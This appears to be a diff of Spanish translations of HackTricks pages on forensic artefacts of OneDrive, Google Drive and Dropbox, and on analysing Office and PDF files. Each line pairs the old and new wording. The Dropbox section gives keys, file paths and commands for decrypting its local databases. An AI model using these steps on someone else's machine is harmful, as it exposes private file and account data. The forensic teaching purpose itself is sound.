En Windows, puedes encontrar la carpeta de OneDrive en `\Users\<nombredeusuario>\AppData\Local\Microsoft\OneDrive`. Y dentro de `logs\Personal` es posible encontrar el archivo `SyncDiagnostics.log` que contiene algunos datos interesantes sobre los archivos sincronizados: En Windows, puedes encontrar la carpeta de OneDrive en `\Users\<username>\AppData\Local\Microsoft\OneDrive`. Y dentro de `logs\Personal` es posible encontrar el archivo `SyncDiagnostics.log` que contiene algunos datos interesantes sobre los archivos sincronizados:
* Tamaño en bytes * Tamaño en bytes
* Fecha de creación * Fecha de creación
@ -33,27 +34,27 @@ En Windows, puedes encontrar la carpeta de OneDrive en `\Users\<nombredeusuario>
* Número de archivos en la carpeta * Número de archivos en la carpeta
* **CID**: ID único del usuario de OneDrive * **CID**: ID único del usuario de OneDrive
* Hora de generación del informe * Hora de generación del informe
* Tamaño del disco duro del sistema operativo * Tamaño del HD del sistema operativo
Una vez que hayas encontrado el CID, se recomienda **buscar archivos que contengan este ID**. Es posible que encuentres archivos con nombres como: _**\<CID>.ini**_ y _**\<CID>.dat**_ que pueden contener información interesante como los nombres de los archivos sincronizados con OneDrive. Una vez que hayas encontrado el CID, se recomienda **buscar archivos que contengan este ID**. Es posible que encuentres archivos con el nombre: _**\<CID>.ini**_ y _**\<CID>.dat**_ que pueden contener información interesante como los nombres de los archivos sincronizados con OneDrive.
## Google Drive ## Google Drive
En Windows, puedes encontrar la carpeta principal de Google Drive en `\Users\<nombredeusuario>\AppData\Local\Google\Drive\user_default`\ En Windows, puedes encontrar la carpeta principal de Google Drive en `\Users\<username>\AppData\Local\Google\Drive\user_default`\
Esta carpeta contiene un archivo llamado Sync\_log.log con información como la dirección de correo electrónico de la cuenta, nombres de archivos, marcas de tiempo, hashes MD5 de los archivos, etc. Incluso los archivos eliminados aparecen en ese archivo de registro con su correspondiente MD5. Esta carpeta contiene un archivo llamado Sync\_log.log con información como la dirección de correo electrónico de la cuenta, nombres de archivos, marcas de tiempo, hashes MD5 de los archivos, etc. Incluso los archivos eliminados aparecen en ese archivo de registro con su correspondiente MD5.
El archivo **`Cloud_graph\Cloud_graph.db`** es una base de datos sqlite que contiene la tabla **`cloud_graph_entry`**. En esta tabla puedes encontrar el **nombre** de los **archivos sincronizados**, la hora de modificación, el tamaño y el checksum MD5 de los archivos. El archivo **`Cloud_graph\Cloud_graph.db`** es una base de datos sqlite que contiene la tabla **`cloud_graph_entry`**. En esta tabla puedes encontrar el **nombre** de los **archivos sincronizados**, tiempo de modificación, tamaño y el checksum MD5 de los archivos.
Los datos de la tabla de la base de datos **`Sync_config.db`** contienen la dirección de correo electrónico de la cuenta, la ruta de las carpetas compartidas y la versión de Google Drive. Los datos de la tabla de la base de datos **`Sync_config.db`** contienen la dirección de correo electrónico de la cuenta, la ruta de las carpetas compartidas y la versión de Google Drive.
## Dropbox ## Dropbox
Dropbox utiliza **bases de datos SQLite** para gestionar los archivos. En esta\ Dropbox utiliza **bases de datos SQLite** para gestionar los archivos. En este\
Puedes encontrar las bases de datos en las carpetas: Puedes encontrar las bases de datos en las carpetas:
* `\Users\<nombredeusuario>\AppData\Local\Dropbox` * `\Users\<username>\AppData\Local\Dropbox`
* `\Users\<nombredeusuario>\AppData\Local\Dropbox\Instance1` * `\Users\<username>\AppData\Local\Dropbox\Instance1`
* `\Users\<nombredeusuario>\AppData\Roaming\Dropbox` * `\Users\<username>\AppData\Roaming\Dropbox`
Y las bases de datos principales son: Y las bases de datos principales son:
@ -64,41 +65,41 @@ Y las bases de datos principales son:
La extensión ".dbx" significa que las **bases de datos** están **encriptadas**. Dropbox utiliza **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) La extensión ".dbx" significa que las **bases de datos** están **encriptadas**. Dropbox utiliza **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
Para comprender mejor la encriptación que utiliza Dropbox, puedes leer [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). Para entender mejor la encriptación que utiliza Dropbox, puedes leer [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
Sin embargo, la información principal es: Sin embargo, la información principal es:
* **Entropía**: d114a55212655f74bd772e37e64aee9b * **Entropía**: d114a55212655f74bd772e37e64aee9b
* **Salt**: 0D638C092E8B82FC452883F95F355B8E * **Sal**: 0D638C092E8B82FC452883F95F355B8E
* **Algoritmo**: PBKDF2 * **Algoritmo**: PBKDF2
* **Iteraciones**: 1066 * **Iteraciones**: 1066
Además de esa información, para descifrar las bases de datos aún necesitas: Aparte de esa información, para desencriptar las bases de datos aún necesitas:
* La **clave DPAPI encriptada**: Puedes encontrarla en el registro dentro de `NTUSER.DAT\Software\Dropbox\ks\client` (exporta estos datos como binario) * La **clave DPAPI encriptada**: Puedes encontrarla en el registro dentro de `NTUSER.DAT\Software\Dropbox\ks\client` (exporta estos datos como binarios)
* Las colmenas **`SYSTEM`** y **`SECURITY`** * Los **hives** de **`SYSTEM`** y **`SECURITY`**
* Las **claves maestras DPAPI**: Que se pueden encontrar en `\Users\<nombredeusuario>\AppData\Roaming\Microsoft\Protect` * Las **claves maestras DPAPI**: Que se pueden encontrar en `\Users\<username>\AppData\Roaming\Microsoft\Protect`
* El **nombre de usuario** y la **contraseña** del usuario de Windows * El **nombre de usuario** y **contraseña** del usuario de Windows
Luego puedes utilizar la herramienta [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:** Luego puedes usar la herramienta [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
![](<../../../.gitbook/assets/image (443).png>) ![](<../../../.gitbook/assets/image (443).png>)
Si todo va según lo esperado, la herramienta indicará la **clave primaria** que necesitas **usar para recuperar la original**. Para recuperar la original, simplemente utiliza esta [receta de cyber\_chef](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\) poniendo la clave primaria como "contraseña" dentro de la receta. Si todo sale como se espera, la herramienta indicará la **clave primaria** que necesitas **usar para recuperar la original**. Para recuperar la original, simplemente usa esta [receta de cyber\_chef](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) poniendo la clave primaria como la "frase de paso" dentro de la receta.
El hex resultante es la clave final utilizada para encriptar las bases de datos que se pueden descifrar con: El hex resultante es la clave final utilizada para encriptar las bases de datos que se puede desencriptar con:
```bash ```bash
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
``` ```
La base de datos **`config.dbx`** contiene: El **`config.dbx`** base de datos contiene:
* **Email**: El correo electrónico del usuario * **Email**: El correo electrónico del usuario
* **usernamedisplayname**: El nombre del usuario * **usernamedisplayname**: El nombre del usuario
* **dropbox\_path**: Ruta donde se encuentra la carpeta de Dropbox * **dropbox\_path**: Ruta donde se encuentra la carpeta de Dropbox
* **Host\_id: Hash** utilizado para autenticarse en la nube. Esto solo se puede revocar desde la web. * **Host\_id: Hash** utilizado para autenticar en la nube. Esto solo se puede revocar desde la web.
* **Root\_ns**: Identificador de usuario * **Root\_ns**: Identificador del usuario
La base de datos **`filecache.db`** contiene información sobre todos los archivos y carpetas sincronizados con Dropbox. La tabla `File_journal` es la que contiene la información más útil: La **`filecache.db`** base de datos contiene información sobre todos los archivos y carpetas sincronizados con Dropbox. La tabla `File_journal` es la que tiene más información útil:
* **Server\_path**: Ruta donde se encuentra el archivo dentro del servidor (esta ruta está precedida por el `host_id` del cliente). * **Server\_path**: Ruta donde se encuentra el archivo dentro del servidor (esta ruta está precedida por el `host_id` del cliente).
* **local\_sjid**: Versión del archivo * **local\_sjid**: Versión del archivo
@ -108,29 +109,30 @@ La base de datos **`filecache.db`** contiene información sobre todos los archiv
Otras tablas dentro de esta base de datos contienen información más interesante: Otras tablas dentro de esta base de datos contienen información más interesante:
* **block\_cache**: hash de todos los archivos y carpetas de Dropbox * **block\_cache**: hash de todos los archivos y carpetas de Dropbox
* **block\_ref**: Relaciona el ID hash de la tabla `block_cache` con el ID de archivo en la tabla `file_journal` * **block\_ref**: Relaciona el ID de hash de la tabla `block_cache` con el ID del archivo en la tabla `file_journal`
* **mount\_table**: Compartir carpetas de Dropbox * **mount\_table**: Carpetas compartidas de Dropbox
* **deleted\_fields**: Archivos eliminados de Dropbox * **deleted\_fields**: Archivos eliminados de Dropbox
* **date\_added** * **date\_added**
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) para construir y **automatizar flujos de trabajo** fácilmente impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
Accede hoy mismo: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# Análisis de archivos de oficina # Análisis de archivos de Office
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) para construir y **automatizar flujos de trabajo** impulsados por las herramientas comunitarias **más avanzadas** del mundo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
Obtén acceso hoy: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %}
Para obtener más información, visita [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Esto es solo un resumen: Para más información, consulta [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Este es solo un resumen:
Microsoft ha creado muchos formatos de documentos de oficina, con dos tipos principales siendo los formatos **OLE** (como RTF, DOC, XLS, PPT) y los formatos **Office Open XML (OOXML)** (como DOCX, XLSX, PPTX). Estos formatos pueden incluir macros, convirtiéndolos en objetivos para phishing y malware. Los archivos OOXML están estructurados como contenedores zip, lo que permite su inspección descomprimiéndolos, revelando la jerarquía de archivos y carpetas y el contenido de archivos XML. Microsoft ha creado muchos formatos de documentos de oficina, siendo los dos tipos principales los **formatos OLE** (como RTF, DOC, XLS, PPT) y los **formatos Office Open XML (OOXML)** (como DOCX, XLSX, PPTX). Estos formatos pueden incluir macros, lo que los convierte en objetivos para phishing y malware. Los archivos OOXML están estructurados como contenedores zip, lo que permite la inspección a través de la descompresión, revelando la jerarquía de archivos y carpetas y el contenido de archivos XML.
Para explorar las estructuras de archivos OOXML, se proporciona el comando para descomprimir un documento y la estructura de salida. Se han documentado técnicas para ocultar datos en estos archivos, lo que indica una innovación continua en el ocultamiento de datos en desafíos de CTF. Para explorar las estructuras de archivos OOXML, se proporciona el comando para descomprimir un documento y la estructura de salida. Se han documentado técnicas para ocultar datos en estos archivos, lo que indica una innovación continua en la ocultación de datos dentro de los desafíos CTF.
Para el análisis, **oletools** y **OfficeDissector** ofrecen conjuntos de herramientas completos para examinar tanto documentos OLE como OOXML. Estas herramientas ayudan a identificar y analizar macros incrustadas, que a menudo sirven como vectores para la entrega de malware, descargando y ejecutando cargas maliciosas adicionales. El análisis de macros de VBA se puede realizar sin Microsoft Office utilizando Libre Office, que permite la depuración con puntos de interrupción y variables de observación. Para el análisis, **oletools** y **OfficeDissector** ofrecen conjuntos de herramientas completos para examinar tanto documentos OLE como OOXML. Estas herramientas ayudan a identificar y analizar macros incrustadas, que a menudo sirven como vectores para la entrega de malware, normalmente descargando y ejecutando cargas útiles maliciosas adicionales. El análisis de macros VBA se puede realizar sin Microsoft Office utilizando Libre Office, que permite la depuración con puntos de interrupción y variables de observación.
La instalación y el uso de **oletools** son sencillos, con comandos proporcionados para instalar a través de pip y extraer macros de documentos. La ejecución automática de macros se desencadena por funciones como `AutoOpen`, `AutoExec` o `Document_Open`. La instalación y el uso de **oletools** son sencillos, con comandos proporcionados para instalar a través de pip y extraer macros de documentos. La ejecución automática de macros se activa mediante funciones como `AutoOpen`, `AutoExec` o `Document_Open`.
```bash ```bash
sudo pip3 install -U oletools sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros olevba -c /path/to/document #Extract macros
@ -38,21 +39,22 @@ olevba -c /path/to/document #Extract macros
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilice [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
Obtenga acceso hoy: Accede hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprenda hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Obtenga el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síganos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparta sus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,52 +1,54 @@
# Análisis de archivos PDF # Análisis de archivos PDF
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pdf-file-analysis) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pdf-file-analysis) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
¡Accede hoy mismo: Accede hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pdf-file-analysis" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pdf-file-analysis" %}
**Para más detalles, consulta:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) **Para más detalles consulta:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
El formato PDF es conocido por su complejidad y potencial para ocultar datos, lo que lo convierte en un punto focal para los desafíos forenses de CTF. Combina elementos de texto plano con objetos binarios, que pueden estar comprimidos o encriptados, y puede incluir scripts en lenguajes como JavaScript o Flash. Para comprender la estructura de un PDF, se puede consultar el [material introductorio](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) de Didier Stevens, o utilizar herramientas como un editor de texto o un editor específico de PDF como Origami. El formato PDF es conocido por su complejidad y su potencial para ocultar datos, lo que lo convierte en un punto focal para los desafíos de forense en CTF. Combina elementos de texto plano con objetos binarios, que pueden estar comprimidos o cifrados, y puede incluir scripts en lenguajes como JavaScript o Flash. Para entender la estructura del PDF, se puede consultar el [material introductorio](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) de Didier Stevens, o usar herramientas como un editor de texto o un editor específico de PDF como Origami.
Para la exploración o manipulación detallada de PDFs, están disponibles herramientas como [qpdf](https://github.com/qpdf/qpdf) y [Origami](https://github.com/mobmewireless/origami-pdf). Los datos ocultos dentro de los PDF pueden estar disimulados en: Para una exploración o manipulación más profunda de PDFs, están disponibles herramientas como [qpdf](https://github.com/qpdf/qpdf) y [Origami](https://github.com/mobmewireless/origami-pdf). Los datos ocultos dentro de los PDFs pueden estar ocultos en:
* Capas invisibles * Capas invisibles
* Formato de metadatos XMP de Adobe * Formato de metadatos XMP de Adobe
* Generaciones incrementales * Generaciones incrementales
* Texto con el mismo color que el fondo * Texto del mismo color que el fondo
* Texto detrás de imágenes o superpuesto a imágenes * Texto detrás de imágenes o imágenes superpuestas
* Comentarios no mostrados * Comentarios no mostrados
Para un análisis personalizado de PDF, se pueden utilizar bibliotecas de Python como [PeepDF](https://github.com/jesparza/peepdf) para crear scripts de análisis personalizados. Además, el potencial de los PDF para el almacenamiento de datos ocultos es tan vasto que recursos como la guía de la NSA sobre riesgos y contramedidas de PDF, aunque ya no se encuentra alojada en su ubicación original, aún ofrecen información valiosa. Una [copia de la guía](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) y una colección de [trucos de formato PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) por Ange Albertini pueden proporcionar lecturas adicionales sobre el tema. Para un análisis personalizado de PDF, se pueden usar bibliotecas de Python como [PeepDF](https://github.com/jesparza/peepdf) para crear scripts de análisis a medida. Además, el potencial del PDF para el almacenamiento de datos ocultos es tan vasto que recursos como la guía de la NSA sobre riesgos y contramedidas de PDF, aunque ya no se encuentra en su ubicación original, aún ofrecen valiosos conocimientos. Una [copia de la guía](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) y una colección de [trucos del formato PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) de Ange Albertini pueden proporcionar más lecturas sobre el tema.
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
